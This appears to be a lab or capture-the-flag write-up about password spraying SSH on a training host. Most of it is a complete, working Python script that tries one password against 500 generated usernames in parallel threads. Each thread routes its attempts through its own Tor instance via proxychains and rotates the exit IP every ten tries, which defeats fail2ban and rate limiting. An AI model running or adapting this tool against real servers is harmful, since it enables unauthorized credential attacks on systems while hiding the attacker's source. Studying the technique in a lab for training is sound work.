Password Spraying SSH

My first impressions was to make a to iteration over the 500 users, but time is now the problem. By iterating over 500 users and an average running time of 20s each command, I need 10000s or 166.6min to go over all. A solution for this is grabbing the secret from https://... site or make the script parallel. I decided to make it parallel.

Challange and solution

Problem	Solution
500 User to iterate	foreach
fail2ban	IP change, every 10 requests, fail2ban bypass (sshdodge?)
time	parallel, multiple tor instances

Research links

- https://github.com/Neetx/sshdodge
- https://github.com/byt3bl33d3r/SprayingToolkit
- https://github.com/Greenwolf/Spray

Script main.py

```
#!/usr/bin/python

import time
import os
import threading
import subprocess
import shutil
from stem import Signal
from stem.control import Controller

attempts = 10
count_per_thread = 100
user = {
    'prefix': 'user_',
    'min': 100000,
    'max': 100500
}
target = 'pwspray.vm.vuln.land'
target_ip = '152.96.6.197'
target_port = '22'
password = 'db1ef3d4'
tor_password = 'secret'
tor_hashedPassword =
'16:70F66D5481A375DD60D4BEE8D529FC73DDFFEA1D7220E698A45AB28F73'  # password =
```

```
secret
success = False
initial_controlPort = 9051
initial_sockPort = 9050
tor_folder = './tor'
proxychains_folder = './proxychains'


class Commander(threading.Thread):
    def __init__(self, min, max, sockport, controlport):
        threading.Thread.__init__(self)
        self.min = int(min)
        self.max = int(max)
        self.count = 1
        self.controlPort = controlport
        self.sockPort = sockport
        self.sproc = createTorInstance(self.sockPort, self.controlPort)
        self.proxychainfilepathconfig = createProxyChainConfig(self.sockPort)

    def run(self):
        for i in range(self.min, self.max):
            if self.count == attempts:
                renew_tor_ip(self.controlPort)
                self.count = 1
            runCommand(generateUsername(i), self.proxychainfilepathconfig)
            self.count += 1
            if (success):
                break
        killTor(self.sproc)


def renew_tor_ip(controlport):
    with Controller.from_port(port=controlport) as controller:
        controller.authenticate(password="secret")
        controller.signal(Signal.NEWNYM)
        print('new IP')
        time.sleep(10)


def generateUsername(i):
    return user.get('prefix') + str(i)


def runCommand(un, proxychainconfigpath):
    print('Try: ' + un)
    command = 'proxychains4 -q -f ' + proxychainconfigpath + ' sshpass -p ' +
password + ' ssh -o ConnectTimeout=20 -o StrictHostKeyChecking=no ' + un + '@' +
target_ip + ' -p ' + target_port
    errorcode = os.system(command)
    if errorcode == 0:
        print('-------------------------------------------------------------------
--------------\n',
              'success with: ' + un + '\n',
              '-------------------------------------------------------------------
```

```
---------------')
        global success
        success = True
        exit()


def killTor(sproc):
    sproc.kill();


def createTorInstance(sockport, controlport):
    filename = 'torrc.' + str(sockport) + '.' + str(controlport)
    filepath = tor_folder + '/config/' + filename
    datadirectory = tor_folder + '/dir/tor.' + str(sockport) + '.' +
str(controlport)
    if os.path.exists(filepath):
        os.remove(filepath)

    if os.path.exists(datadirectory):
        shutil.rmtree(datadirectory)

    f = open(filepath, 'x')
    lines = [
        'ControlPort ' + str(controlport) + '\n',
        'SocksPort ' + str(sockport) + '\n',
        'DataDirectory ' + datadirectory + '\n',
        'HashedControlPassword ' + tor_hashedPassword + '\n'
    ]
    f.writelines(lines)
    f.close()
    return subprocess.Popen('tor -f ' + filepath, shell=True)


def createProxyChainConfig(sockport):
    filename = 'proxychains.' + str(sockport)
    filepath = proxychains_folder + '/' + filename
    if os.path.exists(filepath):
        os.remove(filepath)
    f = open(filepath, 'x')
    lines = [
        'strict_chain\n',
        'tcp_read_time_out 15000\n',
        'tcp_connect_time_out 8000\n',
        '[ProxyList]\n',
        'socks4  127.0.0.1 ' + str(sockport) + '\n'
    ]
    f.writelines(lines)
    f.close()
    return filepath


def is_port_in_use(port):
    import socket
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
```

```
        return s.connect_ex(('localhost', port)) == 0


def createDirIfNotExist(path):
    if not os.path.exists(path):
        os.makedirs(path)


thread_count = (user.get('max') - user.get('min')) / count_per_thread
start_controlPort = initial_controlPort
start_sockPort = initial_sockPort
threads = []
print('Count of Threads: ' + str(thread_count))
time.sleep(5)

createDirIfNotExist(tor_folder)
createDirIfNotExist(tor_folder + '/config')
createDirIfNotExist(tor_folder + '/dir')
createDirIfNotExist(proxychains_folder)

for i in range(0, int(thread_count)):
    thread_min = user.get('min') + count_per_thread * i
    thread_max = user.get('min') + count_per_thread * (i + 1)

    while is_port_in_use(start_controlPort) & is_port_in_use(start_sockPort):
        start_controlPort += 1
        start_sockPort += 1

    print('Thread No:  ' + str(i) + ', MIN: ' + str(thread_min) + ', MAX: ' +
str(thread_max) + ', SOCKPORT: ' + str(
        start_sockPort) + ', CONTROLPORT: ' + str(start_controlPort))
    threads.append(Commander(thread_min, thread_max, start_sockPort,
start_controlPort))
    start_controlPort += 2
    start_sockPort += 2
time.sleep(30)
for thread in threads:
    thread.start()

for thread in threads:
    thread.join()

os.system('killall tor')
```